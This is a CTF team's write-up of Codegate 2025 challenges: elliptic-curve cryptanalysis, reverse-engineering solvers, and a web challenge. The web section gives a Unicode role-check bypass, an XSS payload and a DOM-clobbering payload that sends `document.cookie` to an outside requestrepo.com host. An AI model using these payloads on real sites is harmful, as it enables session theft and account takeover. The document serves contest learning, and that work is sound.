# Codegate CTF 2025 Preliminary Writeup - Project Sekai [TOC] ## Crypto ### These Walls There's no one single solve script for this because the work was done on an ad-hoc basis over a few different jupyter notebooks. But basically, first is recover the unknown parameters (a,b,n) in the same way as LCGs: resultant out the a,b and take gcds to solve for n. Then `EllipticCurve(Zmod(n),[a,b])(x0,y0) * 2` fails for some reason to do with unable to invert. This usually happens when n has a common factor with something. In fact we find n has a common factor with a,b,o. And by extracting these out we find that n is of the form: ``` n = p0^3 * p1^1 * p2^2 * p3^2 ``` in ascending order of the prime size. Or I wrote it in the code as ``` factors = [(2717597692908121319788497985451, 3), (3562548874780288796769030192977, 1), (3692983360407686094702508373879, 2), (324094280281900209908870811008292068290746348301400744740589987, 2)] ``` This splits the problem into four smaller elliptic curves E0,E1,E2,E3, each defined on Zmod(some prime power). The higher powers can be lifted, so we only need to solve the problem on GF(p_i). We base this from [hellman's script](https://affine.group/writeup/2021-01-Zer0pts#pure-division). E1 turns out to be singular, so the DLP is easy. We can thus solve ``` s = 1688818121111580066310934554129 (mod E1.order()) ``` E2 turns out to be vulnerable to the MOV attack, and we can solve ``` s = 8739866395777479874773059651140954210496196864030849623270539 (mod E2.order()) ``` E0 and E3 are harder, but both of them turn out to be [easy decisional diffie-hellman groups](https://eprint.iacr.org/2004/070.pdf). This means we can distinguish between (P, kP, Q, kQ) and (P, kP, Q, R) withotu actually solving for k. Anyway, we combine all the bits like this: ```python= # E0 -- pairing p,e = factors[0] F.<z> = GF(p^2, [1,1,1]) ordp = EllipticCurve(GF(p), [A, B]).order() E = EllipticCurve(F, [A, B]) G = E(*arr[0]) def pair(P, Q): return E(P[0]*z, P[1]).weil_pairing(Q, ordp) def is_good(a,b,c,d): return pair(E(*arr[a]), E(*arr[d])) == pair(E(*arr[b]), E(*arr[c])) for i in range(255): print(0+is_good(0,1,i,i+1),end='') #101110011111111110111101111110111101111111101011101111111101001101110011101110111011101111011111011011111111111111111101100110111111111111101101010110100111001111100011111111011111101110111111111011111101101011110111110111111010111111011111110110101111101 #E0 -- hensel lift p,e = factors[0] E = EllipticCurve(Zmod(p^3),[A,B]) E2 = E.change_ring(Qp(p)) s = 4449267266947790392239895698483736001074931091280999992661100 for i in range(255): Q = E2(*arr[i]) * (p+1) R = E2(*arr[i+1]) * (p+1) print(0+(s==ZZ((R[0]/R[1]) / (Q[0]/Q[1]))),end='') #011011011111111110111101111110111101111111011011101001111101101111111111101110110111111111011111111011111111111111111101110111111111111011111111110101101111001111101111111111111111101111110111111111011101101111110011111111111110111111111111110110111111111 #E1 - singular p,e = factors[1] E = EC(A,B,p) s = 1688818121111580066310934554129 for i in range(255): print(0+(E.scalar_mult(s,arr[i])==E.scalar_mult(p+2,arr[i+1])),end='') #111111001111111110101101111110111101110111101001001111101101100101101111101110111111111111010111111010111011011111111101110110101101111111111111110111101111001111101111111111101111101111111111111111111101001111110111111111100010111011111011110100111111111 #E2 - MOV attack p,e = factors[2] E = EllipticCurve(Zmod(p^e), [A, B]) s = 8739866395777479874773059651140954210496196864030849623270539 for i in range(255): print(0+(E(*arr[i])*s==E(*arr[i+1])),end='') #111101011101111100110101111000011101111111101011101111011101101101111111101110111110111111001111111001011111111111111101110110011111111111110111110011001101000111001111111111110111101111011101011111111001101011010111111111111010111110111101110110111111100 #E3 - pairing p,e = factors[3] F.<z> = GF(p^2, 'z', [1,0,1]) ordp = EllipticCurve(GF(p), [A, B]).order() E = EllipticCurve(F, [A, B]) G = E(*arr[0]) def pair(P, Q): return E(-P[0], P[1]*z).weil_pairing(Q, ordp) def is_good(a,b,c,d): return pair(E(*arr[a]), E(*arr[d])) == pair(E(*arr[b]), E(*arr[c])) for i in range(255): print(0+is_good(0,1,i,i+1),end='') #111111011111110110111101111110110101111111101010101111111101101101111111101110111111111101011111101011111111111111111101110110111111111111111111110111101111001111101101011111111111101111111111111111111101101111110111111101111010110111111111110110110111111 #E3 - hensel lift p,e = factors[3] E = EllipticCurve(Zmod(p^2),[A,B]) E2 = E.change_ring(Qp(p)) s = 147379262854275556091264179874891921915318451984529732921999473 for i in range(255): Q = E2(*arr[i]) * (p+1) R = E2(*arr[i+1]) * (p+1) print(0+(s==ZZ((R[0]/R[1]) / (Q[0]/Q[1]))),end='') #111111011111111110111101111110111101111111111011101111111101101111111111101110111111111111011111111011111111111111111101110111111111111111111111110111101110001111101111111111111111101111111111111111111101101111110111111110111110101111111111110110111111111 ``` Finally, we combine the six bitstrings for the key. This is length 255 so we need to guess the top bit. ```python= n1 = 0b101110011111111110111101111110111101111111101011101111111101001101110011101110111011101111011111011011111111111111111101100110111111111111101101010110100111001111100011111111011111101110111111111011111101101011110111110111111010111111011111110110101111101 n2 = 0b111111011111110110111101111110110101111111101010101111111101101101111111101110111111111101011111101011111111111111111101110110111111111111111111110111101111001111101101011111111111101111111111111111111101101111110111111101111010110111111111110110110111111 n3 = 0b111101011101111100110101111000011101111111101011101111011101101101111111101110111110111111001111111001011111111111111101110110011111111111110111110011001101000111001111111111110111101111011101011111111001101011010111111111111010111110111101110110111111100 n4 = 0b111111001111111110101101111110111101110111101001001111101101100101101111101110111111111111010111111010111011011111111101110110101101111111111111110111101111001111101111111111101111101111111111111111111101001111110111111111100010111011111011110100111111111 n5 = 0b011011011111111110111101111110111101111111011011101001111101101111111111101110110111111111011111111011111111111111111101110111111111111011111111110101101111001111101111111111111111101111110111111111011101101111110011111111111110111111111111110110111111111 n6 = 0b111111011111111110111101111110111101111111111011101111111101101111111111101110111111111111011111111011111111111111111101110111111111111111111111110111101110001111101111111111111111101111111111111111111101101111110111111110111110101111111111110110111111111 key = n1&n2&n3&n4&n5&n6 key = turn_this_back_into_bytes(key) AES.new(key, AES.MODE_CTR, nonce=bytes(12)).decrypt(enc) #b'codegate2025{If_these_weils_could_talk_(I_can_feel_your_reign_when_it_cries_supersingular_curves_inside_of_you)}' ``` ## Web ### Masquerade Use `ıNSPECTOR` and `ADMıN` to bypass the update role, update to the `ADMIN` role, and add permission to write posts. In the admin test page, deobfuscate the JS, and get this. ```js const post_title = document.querySelector('.post_title'), post_content = document.querySelector('.post_content'), error_div = document.querySelector('.error_div') const urlSearch = new URLSearchParams(location.search), title = urlSearch.get('title') const content = urlSearch.get('content') if (!title && !content) { post_content.innerHTML = 'Usage: ?title=a&content=b' } else { try { post_title.innerHTML = DOMPurify.sanitize(title) post_content.innerHTML = DOMPurify.sanitize(content) } catch { post_title.innerHTML = title post_content.innerHTML = content } } ``` Using this can trigger XSS since `/admin/test/../js/purify.min.js` will return a 404 error, causing `DOMPurify.sanitize` to throw an exception. ``` localhost:3000/admin/test/?title=123&content=<img src=x onerror=alert(1)> ``` Then, on the report page, this code is vulnerable to DOM clobbering and can point `window.conf.deleteUrl` to any URL. ```html <script nonce="<%= nonce %>"> <% if (isOwner || isAdmin) { %> window.conf = window.conf || { deleteUrl: "/post/delete/<%= post.post_id %>" }; <% } else { %> window.conf = window.conf || { deleteUrl: "/error/role" }; <% } %> <% if (isInspector) { %> window.conf.reportUrl = "/report/<%= post.post_id %>"; <% } else { %> window.conf.reportUrl = "/error/role"; <% } %> const reportButton = document.querySelector("#report"); reportButton.addEventListener("click", () => { location.href = window.conf.reportUrl; }); const deleteButton = document.querySelector("#delete"); deleteButton.addEventListener("click", () => { location.href = window.conf.deleteUrl; }); </script> ``` Since ``<a ...`` is filtered on the server, create a post with this content and report it to get the flag. ```html <a/id='conf'></a><a/id='conf' name='deleteUrl' href='/admin/test/?title=%3Csvg%20onload=window.location=`https://qyb1v370.requestrepo.com/?f=${document.cookie}`%3E'></a> ``` ## Rev ### cha's ELF Blackbox test ```py inp = b'A' * 64 + b'}' enc = test_inp(inp) inp = b'B' * 64 + b'}' enc = test_inp(inp) inp = b'A' * 32 + b'B' * 32 + b'}' enc = test_inp(inp) candidates = [] for last in trange(33, 128): for i in range(33, 128): inp = bytes([i]) * 64 + bytes([last]) try: # print(inp) enc = test_inp(inp) if enc[0] == target[0]: print(f'Found: {chr(i)}, {chr(last)}') candidates.append((i, last)) break except Exception as e: # print(i, last, e) pass print(candidates) flag = [None] * 64 for i in range(128): inp = b'A' + bytes([i]) * 63 + b'}' try: enc = test_inp(inp) # if enc[0] == target[0]: # print(f'Found: {chr(i)}') # break for j in range(64): if enc[j] == target[j]: if flag[j] is None: flag[j] = i else: if flag[j] != i: print(f'Conflict: {i} != {flag[j]}') except Exception as e: print(i, e) print(flag) candidates = [(67, 33), (97, 35), (47, 36), (116, 39), (53, 41), (119, 45), (123, 48), (35, 49), (108, 50), (111, 51), (67, 56), (69, 60), (47, 65), (86, 66), (110, 68), (79, 69), (48, 70), (123, 71), (54, 72), (76, 73), (38, 74), (90, 76), (39, 79), (48, 80), (53, 81), (45, 86), (47, 89), (67, 90), (65, 92), (90, 94), (57, 95), (48, 96), (127, 102), (123, 104), (83, 106), (33, 107), (125, 108), (73, 113), (83, 118), (39, 119), (111, 120), (63, 123), (105, 125), (83, 127)] for start, end in candidates: flag = [None] * 64 flag[0] = start for i in range(128): inp = bytes([start]) + bytes([i]) * 63 + bytes([end]) try: enc = test_inp(inp) for j in range(64): if enc[j] == target[j]: if flag[j] is None: flag[j] = i # else: # if flag[j] != i: # print(f'Conflict: {i} != {flag[j]}') except Exception as e: # print(i, e) pass try: print(flag) print(bytes(flag)) except Exception as e: pass ``` Solver ```py= from pwn import process from tqdm import trange target = open('flag_enc', 'rb') target = bytes.fromhex(target.read().decode().strip()) print(target) def test_inp(inp): p = process("./chas_elf", level='error') p.sendline(inp) enc = p.recvline() enc = bytes.fromhex(enc.decode().strip()) p.close() return enc start = 67 end = 33 flag = [None] * 65 flag[0] = start flag[64] = end for i in range(128): inp = bytes([start]) + bytes([i]) * 63 + bytes([end]) try: enc = test_inp(inp) for j in range(64): if enc[j] == target[j]: flag[j] = i # if flag[j] is None: # flag[j] = i # else: # if flag[j] != i: # print(f'Conflict: {i} != {flag[j]}') except Exception as e: # print(i, e) pass print(flag) print(bytes(flag)) ``` ### C0D3Matr1x ```py= import numpy as np import numpy from numpy import matrix from numpy import linalg def modMatInv(A,p): # Finds the inverse of matrix A mod p n=len(A) A=matrix(A) adj=numpy.zeros(shape=(n,n)) for i in range(0,n): for j in range(0,n): adj[i][j]=((-1)**(i+j)*int(round(linalg.det(minor(A,j,i)))))%p return (modInv(int(round(linalg.det(A))),p)*adj)%p def modInv(a,p): # Finds the inverse of a mod p, if it exists for i in range(1,p): if (i*a)%p==1: return i raise ValueError(str(a)+" has no inverse mod "+str(p)) def minor(A,i,j): # Return matrix A with the ith row and jth column deleted A=numpy.array(A) minor=numpy.zeros(shape=(len(A)-1,len(A)-1)) p=0 for s in range(0,len(minor)): if p==i: p=p+1 q=0 for t in range(0,len(minor)): if q==j: q=q+1 minor[s][t]=A[p][q] q=q+1 p=p+1 return minor matrix1 = [ [260, 425, 458, 481, 479, 512, 492, 493, 459, 476, 460, 481, 481, 514, 494, 493, 461, 478, 462, 481, 483, 516, 466, 299], [425, 687, 755, 778, 776, 803, 790, 791, 757, 767, 759, 780, 780, 805, 794, 793, 761, 769, 763, 782, 784, 807, 708, 444], [469, 760, 890, 879, 892, 886, 893, 880, 895, 888, 896, 881, 898, 890, 899, 882, 901, 892, 902, 883, 904, 894, 786, 474], [492, 783, 907, 896, 908, 885, 910, 898, 911, 886, 913, 900, 914, 887, 916, 902, 917, 888, 919, 904, 920, 889, 765, 458], [511, 802, 923, 890, 925, 908, 926, 891, 928, 910, 929, 892, 931, 912, 932, 894, 910, 890, 910, 895, 913, 892, 790, 481], [533, 825, 916, 894, 916, 897, 919, 896, 919, 898, 922, 898, 922, 899, 925, 901, 901, 876, 903, 903, 904, 877, 772, 479], [521, 813, 907, 878, 909, 907, 910, 879, 912, 909, 913, 880, 915, 911, 916, 882, 894, 889, 894, 883, 897, 891, 818, 512], [501, 794, 900, 893, 900, 885, 903, 895, 903, 886, 906, 897, 906, 887, 909, 899, 909, 888, 912, 901, 912, 889, 797, 493], [484, 776, 915, 890, 918, 905, 918, 891, 921, 907, 921, 892, 924, 909, 924, 893, 927, 911, 927, 894, 930, 913, 822, 494], [493, 786, 933, 915, 933, 897, 912, 893, 911, 898, 915, 895, 914, 899, 918, 897, 917, 900, 921, 899, 920, 901, 775, 460], [482, 774, 923, 902, 927, 904, 902, 879, 905, 906, 905, 880, 908, 908, 908, 881, 911, 910, 911, 882, 914, 912, 801, 476], [486, 780, 917, 914, 917, 885, 896, 892, 895, 886, 899, 894, 898, 887, 902, 896, 901, 888, 905, 898, 904, 889, 763, 462], [499, 792, 907, 890, 911, 902, 910, 891, 914, 904, 913, 892, 917, 906, 916, 893, 920, 908, 919, 894, 923, 910, 805, 483], [527, 822, 926, 912, 925, 896, 929, 914, 928, 897, 932, 916, 931, 898, 935, 918, 934, 900, 914, 896, 912, 901, 795, 483], [509, 802, 915, 902, 920, 900, 918, 903, 923, 902, 921, 904, 926, 904, 924, 905, 929, 907, 903, 882, 907, 909, 833, 514], [495, 791, 910, 911, 909, 884, 913, 913, 912, 885, 916, 915, 915, 886, 919, 917, 918, 888, 898, 895, 896, 889, 795, 497], [472, 766, 899, 890, 904, 899, 902, 891, 907, 901, 905, 892, 910, 903, 908, 893, 913, 905, 911, 894, 916, 907, 812, 496], [487, 784, 919, 909, 917, 896, 922, 911, 920, 897, 925, 913, 923, 898, 928, 915, 926, 899, 931, 917, 929, 900, 772, 463], [495, 789, 932, 901, 937, 921, 935, 903, 916, 899, 913, 904, 919, 901, 916, 905, 922, 903, 919, 906, 925, 905, 790, 477], [505, 803, 928, 907, 925, 908, 931, 910, 904, 885, 909, 912, 907, 886, 912, 914, 910, 887, 915, 916, 913, 888, 760, 465], [512, 807, 916, 889, 921, 920, 919, 891, 900, 898, 897, 892, 903, 900, 900, 893, 906, 902, 903, 894, 909, 904, 795, 485], [521, 820, 912, 906, 909, 896, 915, 908, 912, 897, 918, 910, 915, 898, 921, 912, 918, 899, 924, 914, 921, 900, 792, 486], [471, 717, 795, 773, 803, 788, 834, 807, 817, 768, 799, 775, 807, 790, 838, 809, 821, 770, 803, 777, 811, 792, 763, 483], [299, 448, 494, 478, 497, 482, 532, 512, 510, 461, 496, 480, 499, 482, 534, 514, 512, 461, 498, 482, 501, 482, 483, 315] ] X = [ [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1] ] M0 = [[84, 18, 2, 2, 76, 65, 51, 81, 63, 12, 6, 24, 64, 67, 52, 71, 95, 34, 98, 33, 94, 26, 39, 77], [51, 86, 72, 44, 16, 4, 73, 2, 28, 40, 77, 28, 63, 43, 23, 25, 39, 66, 82, 70, 60, 0, 57, 65], [41, 9, 98, 39, 21, 23, 26, 29, 25, 72, 86, 18, 0, 4, 55, 74, 63, 0, 75, 25, 63, 55, 57, 36], [14, 89, 21, 184, 17, 61, 9, 33, 70, 37, 99, 63, 4, 23, 89, 95, 62, 97, 81, 30, 82, 54, 1, 27], [37, 12, 19, 58, 140, 97, 68, 46, 34, 34, 62, 98, 57, 86, 62, 30, 44, 59, 50, 13, 50, 79, 76, 67], [96, 50, 45, 21, 85, 174, 6, 90, 34, 17, 83, 85, 47, 27, 29, 19, 11, 38, 56, 33, 89, 10, 51, 82], [98, 15, 24, 83, 43, 44, 138, 1, 52, 73, 77, 3, 37, 9, 63, 24, 93, 60, 44, 36, 68, 17, 1, 24], [40, 56, 58, 77, 31, 69, 15, 16, 52, 12, 26, 46, 94, 1, 49, 89, 6, 51, 57, 7, 5, 74, 11, 53], [98, 65, 27, 21, 96, 49, 25, 39, 156, 77, 39, 79, 79, 33, 7, 56, 99, 50, 42, 88, 15, 47, 95, 21], [59, 17, 79, 94, 45, 5, 15, 14, 41, 66, 38, 60, 19, 79, 18, 43, 65, 17, 9, 6, 65, 56, 14, 7], [68, 43, 1, 62, 26, 83, 67, 44, 3, 12, 50, 0, 79, 15, 91, 96, 88, 71, 75, 16, 6, 10, 49, 71], [25, 16, 53, 10, 78, 6, 23, 7, 86, 76, 59, 88, 24, 24, 46, 75, 80, 8, 66, 29, 46, 89, 89, 52], [94, 22, 66, 4, 18, 71, 32, 33, 2, 32, 52, 5, 120, 68, 21, 64, 96, 42, 89, 39, 23, 98, 91, 96], [23, 75, 70, 8, 39, 85, 89, 66, 11, 96, 30, 88, 81, 150, 61, 25, 50, 48, 85, 86, 86, 80, 65, 28], [76, 6, 0, 76, 5, 42, 24, 53, 18, 81, 3, 25, 82, 52, 70, 8, 13, 86, 58, 54, 73, 43, 71, 70], [71, 21, 72, 83, 74, 24, 36, 67, 9, 40, 24, 38, 12, 54, 5, 112, 97, 77, 17, 39, 35, 57, 19, 88], [67, 29, 11, 52, 15, 25, 54, 37, 88, 67, 85, 88, 58, 64, 83, 51, 82, 10, 54, 89, 59, 9, 49, 89], [79, 86, 77, 22, 84, 89, 31, 27, 65, 96, 10, 81, 76, 71, 17, 78, 70, 122, 12, 61, 25, 14, 44, 41], [78, 23, 25, 63, 7, 11, 46, 40, 82, 4, 94, 94, 91, 7, 29, 12, 4, 0, 18, 34, 78, 73, 37, 52], [71, 6, 55, 45, 41, 2, 94, 52, 48, 22, 22, 73, 59, 1, 76, 16, 65, 67, 30, 34, 52, 92, 33, 2], [95, 24, 34, 11, 38, 5, 2, 74, 59, 60, 11, 28, 75, 50, 91, 21, 55, 34, 32, 92, 192, 92, 40, 75], [54, 16, 83, 92, 28, 81, 0, 79, 81, 91, 26, 33, 82, 34, 62, 12, 15, 30, 52, 13, 24, 30, 75, 48], [92, 41, 20, 90, 84, 46, 39, 14, 95, 51, 31, 28, 54, 64, 61, 64, 16, 91, 68, 10, 37, 66, 48, 4], [4, 16, 51, 91, 9, 46, 26, 59, 45, 88, 89, 8, 91, 34, 32, 0, 58, 67, 47, 47, 11, 84, 24, 138]] M1 = [[0x6c6, 0xb350, 0xfb2a, 0xa846, 0xabd5, 0xfbba, 0xd20, 0xb2c4, 0xbd5, 0xa4f3, 0x4064, 0xbdcf, 0x8511, 0x2911, 0xc4bd, 0x65b6, 0x7010, 0x1f43, 0x20f1, 0x7268, 0x6ef8, 0x1524, 0xf6a8, 0x3a2], [0x37cb, 0xc40f, 0x9720, 0x13d2, 0x3aa, 0x4671, 0xc1fc, 0x2147, 0xf9ef, 0xb8aa, 0x81ef, 0x1f7a, 0xdeaa, 0x89bf, 0xc101, 0x2992, 0xe50d, 0x80d5, 0xa7c2, 0x5d2, 0x9df, 0xae25, 0xcb5e, 0xa5a9], [0x9763, 0xbaf2, 0x86f8, 0x9bfc, 0x4435, 0x70b3, 0xab91, 0x44f4, 0x4495, 0xe241, 0x43c9, 0xcc02, 0xa778, 0x5031, 0x9994, 0xdbe1, 0xe6cc, 0xf905, 0x7ed4, 0x713a, 0x1e87, 0xa621, 0xe3c5, 0x2dcf], [0x95c2, 0xf961, 0xa7e3, 0xfad7, 0x2244, 0xe219, 0x7ffc, 0x4ccd, 0x5b2, 0x3594, 0xf6dd, 0x6037, 0x2c8f, 0x5b3, 0x3db5, 0x5361, 0x9025, 0xdb95, 0xb3c9, 0x6450, 0xae6e, 0xf74f, 0xb761, 0xf9d0], [0xa9, 0xf10c, 0xecbd, 0xc698, 0xc22, 0x7eb8, 0xeaa5, 0xab78, 0x437f, 0xbf50, 0x9da0, 0x70e1, 0xdbe8, 0x9b40, 0xb9a5, 0xcbf4, 0xe492, 0xb5f6, 0x919f, 0x4b33, 0x9eef, 0x5e9a, 0xffc0, 0xab7], [0xf3bf, 0x8283, 0x41df, 0x7773, 0x81b4, 0xba07, 0xfd6, 0x8fd3, 0x5d0f, 0x33b1, 0xf5b0, 0xffbb, 0x47b5, 0xe9f7, 0xd783, 0xa9e6, 0x96c1, 0x1816, 0xc30a, 0xa3cd, 0x7884, 0xb1ec, 0xc61, 0xf77], [0xb14a, 0x8aff, 0xc779, 0x626d, 0xd759, 0x6c81, 0xcc5d, 0xbd1a, 0x95f5, 0x5d61, 0x9c9e, 0x6293, 0x2911, 0x9758, 0xb6d0, 0x5bd4, 0x3b98, 0xdc7f, 0xf27c, 0x9816, 0xde49, 0x8575, 0xd547, 0x6e36], [0x8635, 0x3e95, 0xd8c6, 0x24c7, 0x6b58, 0x9cef, 0xea8c, 0x582c, 0xc9e0, 0xbd3d, 0xbc4e, 0xd00c, 0x3c61, 0xc9f7, 0xe213, 0x4893, 0x51c6, 0xa72f, 0xe1f4, 0xf767, 0x1a78, 0x8d4f, 0x423b, 0xda35], [0xed13, 0x228b, 0xcd29, 0x9f34, 0x997d, 0x5d1e, 0xc18a, 0x6159, 0x6986, 0x3c38, 0xa076, 0xfc28, 0x6fc4, 0x8751, 0x96e0, 0xfafd, 0x52c6, 0x4906, 0x1173, 0x45c, 0xdd70, 0x45f3, 0x5044, 0x92ae], [0x428a, 0x29d8, 0xc652, 0x679d, 0x213f, 0xbf03, 0xf0c1, 0xe6a, 0xbdd8, 0x4591, 0xb5b9, 0x2558, 0xa92d, 0xc886, 0xc02f, 0x89cf, 0x5395, 0xc578, 0x2078, 0x4adf, 0xc6ff, 0x6ec1, 0x4a15, 0x1309], [0xfded, 0x468c, 0x8feb, 0xaeea, 0xd873, 0x1b87, 0xe75b, 0x80b5, 0x236d, 0x7097, 0x6857, 0x6b43, 0x2bc, 0x91ea, 0xb01d, 0x777a, 0xb692, 0x3918, 0xd1cf, 0x959e, 0x572, 0x59c7, 0xd4fa, 0xd9ab], [0x904f, 0x5d27, 0x396c, 0x4b82, 0x85f2, 0xa2f0, 0xc88a, 0x88e5, 0xf4e2, 0x6988, 0x6496, 0x4035, 0x3d0e, 0x15dc, 0xb6dd, 0xcbe4, 0x2d92, 0x418f, 0x9ad4, 0xaedc, 0xfa46, 0x25e7, 0x22a8, 0xaee5], [0x1798, 0xdfbd, 0xcd93, 0x58e, 0x27dc, 0xeaff, 0xab5a, 0x37ab, 0xb78f, 0x5e02, 0x8e73, 0x3aec, 0xf80c, 0x711a, 0x914c, 0xdd62, 0xe2d3, 0x6dfe, 0x3597, 0x25c5, 0xad18, 0xe45f, 0x3808, 0xeb56], [0x33ea, 0x6d19, 0xfbcc, 0xa388, 0xb0fd, 0xc271, 0xed90, 0x4095, 0x440f, 0x262d, 0xb512, 0x623a, 0x6410, 0x62a5, 0x6995, 0xa000, 0xbaf9, 0xe445, 0x2465, 0xa65e, 0xb603, 0xc209, 0xb159, 0x6c32], [0x11d, 0x3c2e, 0xb23d, 0xb479, 0x9d4f, 0xef2f, 0x833e, 0xfe0f, 0x2eb3, 0x8b7b, 0x61db, 0x1dc6, 0x6534, 0x37f1, 0x908f, 0xd7d, 0xd25a, 0xc690, 0xb29, 0x3220, 0x97f, 0x321a, 0xcac4, 0x7ab], [0x73ae, 0xdb4e, 0x4a65, 0x96a0, 0x64f0, 0x5f45, 0x1e77, 0x2de3, 0xdd0c, 0xa4c8, 0x33df, 0xfacf, 0x29b1, 0x7cb, 0x24ab, 0x2a19, 0x43f2, 0x3293, 0xc952, 0x83ee, 0xe01, 0x424c, 0x2ccc, 0x21cb], [0x701f, 0x4a27, 0x4e30, 0x4adc, 0x846, 0xda65, 0xe1f1, 0xd6cf, 0x15c1, 0xed78, 0xcff2, 0x1c69, 0xef05, 0xdd53, 0x2bb9, 0x1401, 0xefd, 0x7031, 0xefd9, 0x5790, 0x14b8, 0xa5c6, 0xfa73, 0x1f8c], [0x6171, 0xa46b, 0xc524, 0x8a78, 0x2dc3, 0x61bc, 0x4a2, 0xddc4, 0x73c4, 0x8c50, 0xcfbc, 0x3388, 0x73f0, 0xe94c, 0x85ce, 0x20bc, 0x8f08, 0x67e7, 0xe5c8, 0x69bd, 0x46bf, 0x69e4, 0xf024, 0xf5bb], [0xab91, 0xc32, 0x57e8, 0xcc30, 0xc68a, 0xa5f3, 0xefbf, 0x5f74, 0xe7f, 0x397f, 0xf02b, 0x2e51, 0xffe, 0x32ce, 0xf66a, 0xa69d, 0x93b1, 0xe53f, 0xf854, 0x60b8, 0xa7a2, 0xef57, 0x6a86, 0xc3ca], [0x93e4, 0xb2f1, 0x590, 0x8cc5, 0xeeb7, 0x663d, 0x6311, 0xdb16, 0x9294, 0x8299, 0xbd, 0xfca1, 0xd53f, 0x7e60, 0xff44, 0xa42c, 0xa8f1, 0x5175, 0xe9a0, 0xeb14, 0xdb64, 0xb072, 0x3179, 0x59d2], [0xb7ff, 0x2ee0, 0xfd00, 0x42fd, 0x17fb, 0xa871, 0xd3ce, 0x73b9, 0x532c, 0x2449, 0x45a8, 0xe49a, 0xc3cb, 0x4497, 0x5841, 0x11d7, 0x7d08, 0x46c3, 0xcf5e, 0x705c, 0xc024, 0xd07c, 0x7f16, 0x9d97], [0x3e91, 0x249f, 0xe9a7, 0x14e5, 0x8c35, 0x7a6d, 0xf3e9, 0xb8f6, 0xdcdd, 0x449d, 0xa524, 0xf38, 0x4510, 0x589d, 0x78a1, 0x4aba, 0xa3e5, 0x9d3, 0xf34b, 0x5705, 0xda4d, 0x3330, 0x1949, 0x2949], [0xce6c, 0x5299, 0x340, 0xc795, 0x98c2, 0xd611, 0x6212, 0xb043, 0x3253, 0xfcf1, 0x593c, 0x3496, 0x8d5, 0xf597, 0x7436, 0xe146, 0xce9a, 0xfdf3, 0xb57c, 0x59aa, 0x8f34, 0x6a4e, 0x22f9, 0xdb15], [0x2ca, 0x1de0, 0x1e5b, 0x3a0f, 0xab47, 0x7280, 0x16bd, 0x826b, 0xffef, 0x69a4, 0xe62, 0x674e, 0xcdc3, 0x2381, 0x1187, 0x12cc, 0xd668, 0x4dcf, 0x89ac, 0x75b6, 0x95cd, 0x1915, 0xd51e, 0x78b2]] M2 = [[4294967181, 0, 15, 1, 4294967275, 49, 4294967272, 5, 42, 4294967294, 4294967280, 4294967287, 40, 46, 56, 4294967262, 16, 4294967271, 39, 26, 23, 42, 4294967240, 0], [4294967265, 4294967281, 7, 4294967282, 11, 22, 13, 4294967263, 4294967287, 40, 31, 54, 4294967277, 4294967270, 4294967276, 12, 30, 14, 44, 4294967282, 49, 4294967292, 4294967292, 25], [53, 8, 4294967251, 20, 4294967291, 58, 16, 4294967281, 18, 59, 45, 23, 50, 51, 4294967263, 11, 46, 4294967262, 4294967281, 4294967287, 4294967250, 4294967246, 3, 4294967261], [9, 39, 4294967283, 4294967169, 19, 4294967256, 30, 21, 4294967256, 32, 37, 4294967276, 30, 30, 29, 25, 3, 18, 4294967284, 4294967238, 